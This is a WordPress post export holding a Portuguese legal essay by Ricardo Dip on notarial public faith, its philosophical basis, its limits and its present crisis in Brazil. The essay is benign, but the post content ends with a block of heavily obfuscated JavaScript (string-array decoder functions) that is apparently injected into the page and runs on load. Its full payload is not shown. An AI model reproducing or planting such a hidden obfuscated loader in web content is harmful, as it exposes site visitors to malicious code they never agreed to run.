{"id":1152,"date":"2018-03-26T15:41:22","date_gmt":"2018-03-26T18:41:22","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/breves-apontamentos-sobre-a-fe-publica-notarial-desembargador-ricardo-dip\/"},"modified":"2018-03-26T15:41:22","modified_gmt":"2018-03-26T18:41:22","slug":"breves-apontamentos-sobre-a-fe-publica-notarial-desembargador-ricardo-dip","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/breves-apontamentos-sobre-a-fe-publica-notarial-desembargador-ricardo-dip\/","title":{"rendered":"Breves apontamentos sobre a f\u00e9 p\u00fablica notarial \u2013 desembargador Ricardo Dip"},"content":{"rendered":"<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; 1. Consiste a f&eacute; notarial na ades&atilde;o comunit&aacute;ria obrigat&oacute;ria &agrave; verdade correspondente a uma realidade singular e n&atilde;o evidente para aqueles a que essa verdade se imp&otilde;e pela f&eacute;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A fonte pr&oacute;xima dessa f&eacute; &eacute; o not&aacute;rio, pessoa f&iacute;sica, pessoa particular, secundum quid, mas tamb&eacute;m p&uacute;blica, sob outro aspecto, isto em raz&atilde;o da potestade pol&iacute;tica que lhe foi atribu&iacute;da para a da&ccedil;&atilde;o da f&eacute; a documentos que ele autorize propter officium. &Eacute; s&oacute; por for&ccedil;a dessa potestade, note-se bem, que a f&eacute; notarial se assenta numa impera&ccedil;&atilde;o de credentidade, quer dizer, na imposi&ccedil;&atilde;o compuls&oacute;ria de aderir &agrave; verdade afirmada por um testemunho qualificado que emana do not&aacute;rio.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Observou Eduardo Couture, em seu conhecido estudo sobre o conceito de f&eacute; p&uacute;blica, o fato de a preceitua&ccedil;&atilde;o coativa da certeza &minus;&ldquo;el pueblo cree porque el Estado le manda creer&rdquo;&minus; distinguir-se da efetiva realidade da certeza que tem o povo na veracidade dos documentos p&uacute;blicos: a experi&ecirc;ncia jur&iacute;dica, disse Couture, faz ver &ldquo;que el pueblo no cree, realmente, en la verdad de todos los instrumentos p&uacute;blicos&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Essa distin&ccedil;&atilde;o &minus;e, de fato, &eacute; uma diverg&ecirc;ncia entre cren&ccedil;a ficta e cren&ccedil;a efetiva no &acirc;mbito da f&eacute; notarial&minus;, longe de atrair uma vis&atilde;o pessimista e desanimada acerca da fun&ccedil;&atilde;o dos not&aacute;rios, deve antes e preferivelmente servir de est&iacute;mulo ao aprimoramento intelectual e moral do Notariado.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A f&eacute; notarial &eacute; uma fides publica potestatis, ou seja, uma certeza juridicamente compulsiva para a comunidade, certeza independente de o not&aacute;rio emanante possuir saber socialmente reconhecido. E, pois, a f&eacute; notarial &eacute; distinta da f&eacute; do not&aacute;rio, porque esta &uacute;ltima, a f&eacute; do not&aacute;rio, n&atilde;o &eacute; fides potestastis, n&atilde;o prov&eacute;m de um poder socialmente reconhecido, mas, isto sim, deriva da autoridade do not&aacute;rio, ou seja, de seu saber socialmente reconhecido. Da&iacute; que a f&eacute; do not&aacute;rio &minus;fides auctoritatis notarii&minus;, n&atilde;o desfrutando, embora, de um estatuto compuls&oacute;rio de cren&ccedil;a (scl., credentidade), apoia-se em um ju&iacute;zo de credibilidade, na convic&ccedil;&atilde;o de ser razo&aacute;vel aderir &agrave; verdade anunciada por quem possui autoridade intelectual e moral. Desta maneira, quanto mais os not&aacute;rios ascendam em bem exercer seu of&iacute;cio, com idoneidade prudencial e &eacute;tica, mais se ajustar&atilde;o a cren&ccedil;a compulsiva e a cren&ccedil;a efetiva nos documentos notariais: neste mesmo sentido, lembremo-nos que, do juramento que, ao in&iacute;cio do s&eacute;culo IX, era exigido dos escribas, no Reino longobardo, por Lot&aacute;rio I, que foi o terceiro Imperador do Sacro Imp&eacute;rio Romano do Ocidente, constava a exig&ecirc;ncia de serem os not&aacute;rios legibus eruditi et bon&aelig; opinionis.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Com efeito, um dos mais al&ccedil;ados ideais do Notariado h&aacute; de ser o de suprimir a disson&acirc;ncia f&aacute;tica entre a f&eacute; notarial e a f&eacute; do not&aacute;rio, h&aacute; de ser o de desvelar publicamente a alma &iacute;ntegra do &ldquo;tabeli&atilde;o de aldeia&rdquo; (na eloquente refer&ecirc;ncia de Alphonse Daudet), de sorte que a cren&ccedil;a coativa no documento seja animada pela cren&ccedil;a espont&acirc;nea nele conaturalizada pelo costume notarial.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; 2. F&eacute; &eacute; um termo intrinsecamente an&aacute;logo, ou seja, um termo que designa realidades de algum modo v&aacute;rias, mas que, ao referi-las, tem um sentido parcialmente id&ecirc;ntico e um sentido, noutra parte, diferente.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O sentido id&ecirc;ntico dos muitos analogados do termo verbal f&eacute; corresponde &agrave; ideia de crer no que n&atilde;o se v&ecirc;, ou seja, ao conceito de convic&ccedil;&atilde;o do quanto n&atilde;o vemos &minus;equivalendo, portanto, &agrave; c&eacute;lebre alus&atilde;o paulina ao argumentum non apparentium, nos termos da Vulgata de S.Jer&ocirc;nimo: f&eacute;, pois, &eacute; &ldquo;a prova do que n&atilde;o se v&ecirc;&rdquo; (Heb. XI-1), ou, em outras palavras, o n&uacute;cleo do conceito an&aacute;logo de f&eacute; &eacute; o da admiss&atilde;o da verdade de algo n&atilde;o visto por quem cr&ecirc; &minus;uma coisa n&atilde;o vista por quem tem f&eacute;&minus;, mas a cuja verdade se adere pelo cr&eacute;dito de quem v&ecirc; a realidade, de quem a diz ou ensina: videt et docet.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A f&eacute;, por motivo gnosiol&oacute;gico an&aacute;logo ao da ci&ecirc;ncia, conclui, muito frequente e propriamente, num estrato de certeza e n&atilde;o no de uma simples opini&atilde;o. Bem &eacute; que se ressalve, entretanto, que a f&eacute; estritamente secular (fides mere humana) pode mover-se eventualmente no dom&iacute;nio de um mais singelo estrato de probabilidade do verdadeiro: &eacute; que, neste &acirc;mbito de fides solummodo humana, a certeza deriva diretamente da maior ou menor virtude da fonte emanante da f&eacute; (fons fidei): em palavras de Jos&eacute; Mar&iacute;a De Alejandro, &ldquo;la certeza (&hellip;), en los juicios de fe, es directamente proporcional a la fuerza gnoseol&oacute;gica de la autoridad&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ainda, portanto, que a ci&ecirc;ncia seja mais perfeita do que a f&eacute; pelo modo de conhecer &minus;isto mesmo o disse S.Tom&aacute;s de Aquino: scientia habet perfectiorem modum cognoscendi&minus;, e, ademais, que a f&eacute; n&atilde;o leve &agrave; certeza pela vis&atilde;o ou evid&ecirc;ncia das coisas que se descobrem ou compreendem (evidentia rerum, evidentia obiecti), ela, a f&eacute;, alcan&ccedil;a, n&atilde;o raro, o status da certeza porque (quia) algu&eacute;m testemunha, ou melhor, como j&aacute; ficou dito, videt et docet a realidade, e, com ela, apreende a verdade do singular. Desta maneira, a f&eacute; conduz &agrave; certeza por meio de uma evid&ecirc;ncia da fonte (evidentia fontis, evidentia auctoritatis), e, deste modo, ao passo em que a certeza resultante dos ju&iacute;zos da ci&ecirc;ncia procede de uma raz&atilde;o intr&iacute;nseca, j&aacute; a dos ju&iacute;zos da f&eacute; deriva de uma raz&atilde;o extr&iacute;nseca: a autoridade ou, quando o caso, a potestade de uma fonte.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; 3. Com a ideia de f&eacute; &eacute; comum vir logo &agrave; mente o conceito de f&eacute; religiosa &minus;ou, com mais rigor, o de f&eacute; divina (&eacute; dizer, a verdade crida porque revelada por Deus)&minus;, e &eacute; fato que deste prius ou primado anal&oacute;gico em que consiste a f&eacute; divina &eacute; costumeiro extra&iacute;rem-se interessantes empr&eacute;stimos para os v&aacute;rios analogados da f&eacute;, porque, n&atilde;o nos deslembremos disto nem por um instante, o testemunho humano &eacute; n&atilde;o s&oacute; indispens&aacute;vel &agrave; vida individual e comunit&aacute;ria, sen&atilde;o que &eacute; o mais rotineira dos meios de forma&ccedil;&atilde;o de seus saberes: &ldquo;o saber baseado no testemunho de outrem &minus;dizem Pablo Arce e Ricardo Sada&minus; &eacute; o mais frequente na vida de todos os dias&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Pe&ccedil;o aqui a licen&ccedil;a de um breve par&aacute;grafo, de um pequeno excurso &minus;se me permitem&minus;, pois queria referir o fato de que do estatuto gnosiol&oacute;gico f&eacute;, seja ela divina, seja humana, emergem algumas conclus&otilde;es comuns a ambas, tais, por exemplo, estas duas, a que j&aacute; se referira Alessandro Manzoni: uma, a de que a f&eacute; inclui o submetimento intelectual por uma necessidade l&oacute;gica, nisto em que, pela f&eacute;, calha alcan&ccedil;ar-se quando menos a mesma certeza gnosiol&oacute;gica que pode, em seu caso, formar a ci&ecirc;ncia &minus;de maneira que toda a vez que a f&eacute; se impuser com sufici&ecirc;ncia para o conhecimento (o que inclui a fides publica potestatis), haver&aacute; contrassenso em exigir-se confirm&aacute;-la por outros meios epist&ecirc;micos; a outra conclus&atilde;o de Manzoni &eacute; a de que a pluralidade ou diversidade de f&eacute;s acerca de um mesmo objeto constitui um imposs&iacute;vel, configura uma contradi&ccedil;&atilde;o l&oacute;gica.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Prosseguindo: j&aacute; no &acirc;mbito estritamente natural n&atilde;o parece poss&iacute;vel vivam os homens sem o amplo concurso gnosiol&oacute;gico da f&eacute;. Tomemos disto umas poucas, mas impressivas ilustra&ccedil;&otilde;es: nossa linguagem nativa, por exemplo, aprendemo-la dos testemunhos dos homens, e &eacute; tamb&eacute;m de testemunhos que recrutamos do passado a not&iacute;cia de ter In&ecirc;s de Castro vertido l&aacute;grimas, com seus olhos nunca enxutos, nos &ldquo;saudosos campos do Mondego&rdquo;, e de ter Dante escrito a imortal Commedia, quanto n&atilde;o menos o j&aacute; aqui referido Alessandro Manzoni ser o autor do mais primoroso dos romances hist&oacute;ricos que se conhecem, Os noivos &minus;I promessi sposi; ensinam-nos por testemunhos que Napole&atilde;o Bonaparte existiu, e que ele, em poucas d&eacute;cadas, mais vandalizou as riquezas da civiliza&ccedil;&atilde;o do que s&eacute;culos de invas&otilde;es b&aacute;rbaras assolaram o Imp&eacute;rio romano; s&atilde;o testemunhos os que nos convencem termos nascidos de fato numa dada cidade (embora quanto a isto possa entre n&oacute;s mentir adrede o registro civil brasileiro); testemunham nossos pais que fomos de um jeito ou de outro em nossa inf&acirc;ncia, e at&eacute; que, permitam-me relate-lhes eu um trauma biogr&aacute;fico, meus pais, valiosos e queridos pais, tentaram em v&atilde;o ensinar-me bons modos&hellip; (p.ex., meu uso frustrado do garfo e da faca). Enfim, sabemos por f&eacute; humana tudo aquilo que n&atilde;o n&oacute;s &eacute; de evidentia rerum &minus;quer dizer, tudo o que n&atilde;o nos recaiu sob os sentidos externos&minus; e tamb&eacute;m tudo aquilo que n&atilde;o podemos demonstrar por n&oacute;s pr&oacute;prios: tudo &eacute; isto objeto de f&eacute;. At&eacute; mesmo as ci&ecirc;ncias ditas experimentais, que fazem, pois, dos experimentos reproduz&iacute;veis e controlados seu crit&eacute;rio epist&ecirc;mico de certifica&ccedil;&atilde;o, at&eacute; mesmo elas n&atilde;o podem abdicar, muitas vezes, do ensino n&atilde;o reexperimentado recolhido do testemunho de autoridades anteriores, ou seja: alguns cientistas n&atilde;o podem declinar da f&eacute; no testemunho de outros cientistas (gr&aacute;fica, a este prop&oacute;sito, &eacute; a f&eacute; de muitos &minus;j&aacute; mesmo um simples fide&iacute;smo, em rigor&minus; na singela hip&oacute;tese do evolucionismo das esp&eacute;cies).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; 4. A f&eacute; secular, profana ou humana &minus;fides mere humana&minus; atua tamb&eacute;m na conviv&ecirc;ncia pol&iacute;tica de todos os homens, ou seja, ela &eacute; necess&aacute;ria para a vida na polis.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Sendo a vida em comunidade um pr&oacute;prio da natureza humana &minus;isto j&aacute; o afirmara Arist&oacute;teles em muito conhecida p&aacute;gina da Pol&iacute;tica: &ldquo;o homem &eacute; por natureza um animal pol&iacute;tico&rdquo;&minus;, quer dizer, sendo a vida em sociedade um predic&aacute;vel pr&oacute;prio do homem, um atributo que, sem ser ess&ecirc;ncia humana, reside nesta ess&ecirc;ncia, disto deve extrair-se que a f&eacute; comunit&aacute;ria, convivencial, pol&iacute;tica, seja, quodammodo, conatural ao homem.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A f&eacute; convivencial &minus;fides communitatis&minus;, ou seja: a f&eacute; indispens&aacute;vel &agrave; vida dos homens na cidade, ou mais fundamente: indispens&aacute;vel &agrave; natureza pol&iacute;tica dos homens, pode ser de dois modos. Pode ela provir &minus;este &eacute; um de seus modos&minus; de um interesse, primeira e mais diretamente, particular, quer dizer, de um interesse prontamente privado, ainda que n&atilde;o deixe de refletir no bem comum da sociedade pol&iacute;tica. E, segundo modo, pode derivar de um interesse, primeira e imediatamente, comunit&aacute;rio, sem embargo, de maneira indireta, de, por igual, beneficiar interesses dos particulares. No primeiro modo, tem-se o estrato da f&eacute; privada (fides privata), com que, na vida cotidiana, costumamos adquirir certeza de alguns fatos de que nos d&atilde;o testemunho pessoas de nossa confian&ccedil;a particular, sempre quando e porque sabemos da veracidade habitual das testemunhas com quem convivemos e nas quais confiemos. No segundo modo, por&eacute;m, o bem comum da polis &minus;o interesse comunit&aacute;rio&minus; imp&otilde;e a necessidade (ou, em dados quadros, uma conveni&ecirc;ncia) de qualificar um testemunho do qual resultem efeitos de certifica&ccedil;&atilde;o p&uacute;blica &minus;i.e., consequentes operativos para todos &minus;effecti omnibus.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Pode ocorrer, isto j&aacute; ficou apontado ainda h&aacute; pouco, que a comunidade, ela pr&oacute;pria, tenha confian&ccedil;a p&uacute;blica, por assim dizer: &ldquo;espont&acirc;nea&rdquo;, em testemunhos oriundos de algu&eacute;m com saber socialmente reconhecido (esta express&atilde;o &ldquo;saber socialmente reconhecido&rdquo; corresponde ao celebrado conceito de &ldquo;autoridade&rdquo; enunciado pelo grande jurista contempor&acirc;neo que foi &Aacute;lvaro D&rsquo;Ors): tem-se a&iacute;, pois, a f&eacute; derivada da autoridade social (fides auctoritatis). A despeito desta esp&eacute;cie de f&eacute; comunit&aacute;ria ser p&uacute;blica, outra h&aacute; que mais comumente atrai este genitivo &ldquo;p&uacute;blica&rdquo;, e esta f&eacute; j&aacute; n&atilde;o procede da autoridade (rectius: do saber socialmente reconhecido), sen&atilde;o que adv&eacute;m da potestade p&uacute;blica (ainda na acep&ccedil;&atilde;o orsiana de &ldquo;poder socialmente reconhecido&rdquo;).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Assim, embora essas duas fides sejam comunit&aacute;rias &minus;e, pois, p&uacute;blicas ambas&minus;, uma forma-se no plano da soberania social (a fides auctoritatis) ao passo que a outra vem da soberania pol&iacute;tica, &eacute; uma fides potestatis, de reconhecimento compuls&oacute;rio effecti omnibus, ou seja, por todos. Ordinariamente, a primeira dessas f&eacute;s, a fides auctoritatis, emerge com superioridade no plano moral, mas a outra, a fides potestatis, avantaja-se no &acirc;mbito do justo legal. N&atilde;o est&aacute; demasiado observar neste passo &minus;tomando aqui de empr&eacute;stimo l&uacute;cida medita&ccedil;&atilde;o de Romano Amerio&minus; que manifesta&ccedil;&otilde;es de f&eacute;, seja no &acirc;mbito religioso, seja no secular, quando est&atilde;o separadas do exerc&iacute;cio de uma potestade preceptiva e sancionadora redundam, correntemente, em uma breviatio manus (ou seja, numa demiss&atilde;o de efetividade) que, em resumo, conspira contra a pr&oacute;pria f&eacute;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; 5. Posto este quadro de divis&atilde;o, consideremos que a f&eacute; notarial deriva de duas potestades que ordenam a formaliza&ccedil;&atilde;o document&aacute;ria: uma, a potestade original ou atributiva &minus;pr&oacute;pria do exerc&iacute;cio direto da soberania pol&iacute;tica (correspondendo &agrave;s fun&ccedil;&otilde;es ditas, hoje, estatais: executiva, legislativa e judici&aacute;ria); outra, a potestade atribu&iacute;da ou derivada, exercida por uma pessoa f&iacute;sica, o not&aacute;rio, na qual pessoa se delega (com ou sem reten&ccedil;&atilde;o de poderes) o atributo de conferir plena fides a um documento a cuja formaliza&ccedil;&atilde;o concorra esse not&aacute;rio.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Desta maneira, a f&eacute; p&uacute;blica notarial &eacute; um atributo da soberania pol&iacute;tica delegado na pessoa de um not&aacute;rio, que a exercita, o muito mais frequentemente, em car&aacute;ter substituinte, &eacute; dizer, sem concomit&acirc;ncia com o poder atributivo ou delegante.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Bem se v&ecirc;, pois, o quanto de import&acirc;ncia social &minus;e, correlatamente, de responsabilidade&minus; est&aacute; depositado, com a f&eacute; notarial, nos ombros de quem a deve exercitar. E se nos detivermos um tanto a meditar sobre os compuls&oacute;rios efeitos omnibus de toda a fides publica potestatis (n&atilde;o s&oacute; a notarial, pois, mas tamb&eacute;m a registr&aacute;ria, a administrativa, a judicial, a de leiloeiros, etc.), compreenderemos a necessidade de sua limita&ccedil;&atilde;o, porque, tamanho sendo o poder do testemunho qualificado em que consiste a f&eacute; p&uacute;blica, esta f&eacute; n&atilde;o pode ser absoluta e deve demarcar-se j&aacute; por seu objeto, por sua met&oacute;dica e por sua territorialidade.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Quanto a esta &uacute;ltima, a assina&ccedil;&atilde;o da compet&ecirc;ncia notarial ratione loci &minus;na linha da par&ecirc;mia notarius unius loci non potest conficere instrumentum in alio loco&minus; mede e concretiza a quantidade de ju&iacute;zo ou &ldquo;jurisdi&ccedil;&atilde;o&rdquo; notarial referida singularmente a cada not&aacute;rio, segundo um determinado &acirc;mbito geogr&aacute;fico, dentro em cujos marcos exerce ele sua fun&ccedil;&atilde;o, com que se limita, prudentemente, a excessiva potencialidade da f&eacute; notarial, interditando-se que &minus;por qualquer meio (incluso o eletr&ocirc;nico)&minus; possa o not&aacute;rio atuar sem a imediatidade, rigorosamente demarcada, da capta&ccedil;&atilde;o e percep&ccedil;&atilde;o da realidade que constitui o objeto de seu of&iacute;cio em concreto.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Quanto ao objeto da f&eacute; notarial, dois s&atilde;o os modos com que se podem referir: o primeiro, o dictum ou express&atilde;o do documento, na medida em que a f&eacute; notarial exprime-se &agrave; maneira de uma fides scriptur&aelig;, ou seja, a cren&ccedil;a compuls&oacute;ria veiculada pelo testemunho notarial diz sempre respeito a um suporte document&aacute;rio em que se expressa a assevera&ccedil;&atilde;o testemunhal do tabeli&atilde;o de notas. Ainda que haja uma fase intercorrente n&atilde;o document&aacute;ria no processo de da&ccedil;&atilde;o de f&eacute; notarial (p.ex., o da ocasi&atilde;o da f&eacute; de conhecimento), essa &eacute; sempre etapa procedimental destinada &agrave; elabora&ccedil;&atilde;o do suporte document&aacute;rio. O segundo modo a considerar no plano do objeto da f&eacute; notarial &eacute; relativo &agrave;s res que se captam, percepcionam e que, ao fim, conhecem-se, porque elas s&atilde;o necessariamente enta sensibilia, coisas que devem captar-se pelos sentidos externos e percepcionar-se pelos sentidos internos, para, finalmente, serem objeto de conhecimento verdadeiro do singular. Significa dizer, pois, que a f&eacute; p&uacute;blica notarial n&atilde;o abrange, por objeto, mais do que o correspondente a entes sens&iacute;veis, ainda que a opini&atilde;o do not&aacute;rio acerca de mat&eacute;ria jur&iacute;dica seja frequentemente muito autorizada.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Por derradeiro, quanto ao m&eacute;todo &minus;e aqui n&atilde;o se voltar&aacute; ao complexo tema da capta&ccedil;&atilde;o e percep&ccedil;&atilde;o sens&oacute;rias&minus;, vale muito insistir na ideia da imediatidade da rela&ccedil;&atilde;o entre o not&aacute;rio e a realidade sens&iacute;vel. A interfer&ecirc;ncia de um m&eacute;dio &minus;p.ex., uma transmiss&atilde;o eletr&ocirc;nica de fato n&atilde;o imediatamente captado pelo not&aacute;rio&minus; &eacute; condi&ccedil;&atilde;o exclusora da possibilidade da f&eacute; notarial.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; 6. Sem desconhecer outros crit&eacute;rios de divis&atilde;o das &eacute;pocas hist&oacute;ricas do direito romano, parece muito bem a reparti&ccedil;&atilde;o que perfilha &minus;com apoio no crit&eacute;rio jur&iacute;dico interno (&eacute; dizer, o da maior ou menor perfei&ccedil;&atilde;o das institui&ccedil;&otilde;es)&minus; o muito autorizado romanista portugu&ecirc;s que foi Sebasti&atilde;o Cruz. Acolhe ele a divis&atilde;o das &eacute;pocas do direito romano em arcaica (753 a.C. a 130 a.C.), cl&aacute;ssica (130 a.C. a 230 d.C.), p&oacute;s-cl&aacute;ssica (230 a 530) e justinianeia (de 530 a 565).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A parte final do per&iacute;odo p&oacute;s-cl&aacute;ssico (entre o fim do s&eacute;culo IV, in&iacute;cio do V, e a eclipse do direito romano ao come&ccedil;o da Alta medieval), que se conhece por etapa do direito romano vulgar, foram tempos de not&oacute;ria decad&ecirc;ncia das institui&ccedil;&otilde;es jur&iacute;dicas de Roma, em que predominaram, na esfera dos saberes, as compila&ccedil;&otilde;es, os resumos e as cole&ccedil;&otilde;es de leis (os nossos vade mecum), e, deste per&iacute;odo do ius romanum disse isto Sebasti&atilde;o Cruz: &ldquo;Confus&atilde;o. Confus&atilde;o de terminologia, confus&atilde;o de conceitos, confus&atilde;o de institui&ccedil;&otilde;es; e, por vezes, at&eacute; confus&otilde;es de textos&rdquo;. &Aacute;lvaro D&rsquo;Ors, por sua vez, sublinhou que o tempo do direito romano vulgar foi a &eacute;poca da autocracia, da desapari&ccedil;&atilde;o da liberdade pol&iacute;tica, em que o saber jur&iacute;dico (iurisprudentia) cedeu seu lugar a uma legisla&ccedil;&atilde;o burocr&aacute;tica e a uma pr&aacute;tica rudimentar do direito. P&eacute;rez-Prendes, de modo mais incisivo, disse que esse tempo foi o de uma normativa ret&oacute;rica na forma, casu&iacute;stica nas motiva&ccedil;&otilde;es, obcecada por uma vigil&acirc;ncia absorvente, desproporcional e arbitr&aacute;ria nas san&ccedil;&otilde;es, fomentadora de instabilidade: &ldquo;contradictoria hoy con lo dispuesto ayer, seg&uacute;n se creyese conven&iacute;a en cada instante, sin el menor respeto por la estabilidad jur&iacute;dico-pol&iacute;tica&rdquo;.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; A f&eacute; notarial vive tamb&eacute;m agora, entre n&oacute;s, neste conturbado Brasil contempor&acirc;neo, um tempo de crise, um tempo, tal qual o da etapa do direito romano vulgar, submetido ao risco do descontrucionismo. &Agrave; f&eacute; notarial, afligem-na (i) o d&eacute;ficit dos que entendem necess&aacute;rio complement&aacute;-la com outras provas, (ii) a exagera&ccedil;&atilde;o dos que a recolhem sem a imediatidade relacional entre o not&aacute;rio e as coisas sens&iacute;veis, (iii) a anarquia funcionalista com que se confundem as f&eacute;s registral e judici&aacute;ria com a mesma f&eacute; notarial, (iv) a usurpa&ccedil;&atilde;o de compet&ecirc;ncia que expande indevidamente a f&eacute; p&uacute;blica notarial a terceiros, (v) as ideologias em todo seu g&ecirc;nero (mormente as influ&iacute;das de Gramsci e Marcuse), que erodem a seguran&ccedil;a jur&iacute;dica e desapre&ccedil;am a justi&ccedil;a e a moral, (vi) a tecnolatria obcecada pela robotiza&ccedil;&atilde;o da atividade dos not&aacute;rios, (vii) com a perda da consci&ecirc;ncia, enfim, da autonomia jur&iacute;dico-liberal de uma fun&ccedil;&atilde;o que &eacute; prudencial por excel&ecirc;ncia, mas que disto se demite nas aras dist&oacute;picas de uma fun&ccedil;&atilde;o servil alimentadora de mega-arquivos centralizados.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Fico eu a pensar agora, supondo-me no ep&iacute;logo quase ag&ocirc;nico de meu meridiano, se devo resignar-me a repetir, retoricamente, a lam&uacute;ria de Dom Di&egrave;gue, no Cid de Corneille: &Ocirc; rage ! &ocirc; d&eacute;sespoir ! &ocirc; viellesse ennemie! N&rsquo;ai-je donc tant v&eacute;cu que pour cette infamie? Ou se ainda n&atilde;o me devo abandonar &agrave; falta de esperan&ccedil;a.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; N&atilde;o! O Notariado latino n&atilde;o &eacute; de hoje, nem &eacute; s&oacute; de nossa gente; sendo nosso tamb&eacute;m, &eacute;, contudo, uma realidade plurissecular e universal. Quem recebe sobre os ombros a grandiosa institui&ccedil;&atilde;o da f&eacute; p&uacute;blica notarial &eacute; o mesmo not&aacute;rio que, com alma de &ldquo;tabeli&atilde;o de aldeia&rdquo;, h&aacute; sempre de saber que tamb&eacute;m traz sobre os ombros um pavilh&atilde;o bordado das gestas dos tabeli&atilde;es de todos os tempos&hellip;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; N&atilde;o! Corneille e Dom Di&egrave;gue h&atilde;o de escusar-me, mas ainda conservo a confian&ccedil;a em nosso modo brasileiro de ser Notariado latino, porque no estandarte da institui&ccedil;&atilde;o notarial h&aacute; respingos do suor e sangue de seus Maiores, e n&atilde;o haver&aacute; de ser agora, Deo volente, que faltar&atilde;o o &acirc;nimo de combate e o testemunho v&iacute;vido dos tabeli&atilde;es brasileiros, cuja leal milit&acirc;ncia &eacute; t&atilde;o urgentemente reclamada. Nossos tempos exigem um consciente e efetivo empenho por que se conjugue a dignidade dos not&aacute;rios contempor&acirc;neos &agrave; dignidade mesma, grandiosa, nobil&iacute;ssima, de um Notariado latino que n&atilde;o &eacute; de hoje, &eacute; de longos tempos, que n&atilde;o &eacute; s&oacute;.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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